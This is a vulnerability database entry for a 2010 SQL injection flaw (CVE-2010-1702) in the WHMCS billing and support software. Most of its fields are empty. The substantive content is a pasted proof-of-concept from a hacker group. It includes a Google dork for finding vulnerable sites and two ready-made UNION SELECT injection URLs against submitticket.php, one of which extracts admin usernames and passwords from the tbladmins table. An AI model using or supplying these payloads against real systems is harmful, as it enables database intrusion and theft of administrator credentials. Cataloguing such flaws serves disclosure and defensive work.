WHMCS control (WHMCompleteSolution) SQL Injection

基本字段

漏洞编号：: SSV-68417

披露/发现时间：: 2010-05-04

提交时间：: 2014-07-01

漏洞等级：

漏洞类别：: 其他类型

影响组件：

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: CVE-2010-1702

CNNVD-ID：: CNNVD-201005-024

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

暂无漏洞详情

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 1.3KB

#=Info=======================================================================# # Software: WHMCS control (WHMCompleteSolution) Sql Injection # # # # Vulnerability: Remote Sql Injection # # Google Dork: Powered by WHMCompleteSolution - or " inurl:WHMCS # # Off. site: www.MiXaTy.com # #============================================================================# #=Author==============================================# # Author: Islam DefenDers # # Date: 24.04.2010 # # Contact: email: hackereg@hotmail.com # #====================================================# #=Sql Injection===========================================================================================================================================================# # Exploit: http://site/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20 # DOWNLOAD : http://www.whmcs.com/ # Live demo: http://ste/support/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20 #=========================================================================================================================================================================# #=Greetz==================================# # IsLam DefenDers Mr.HaMaDa # #=======================================# HaMaDa SCoOoRPioN - DR.B@HY - MiXaTy TeaM - Islam DefenDers TeaM site: www.mixaty.com E: hackereg@hotmail.com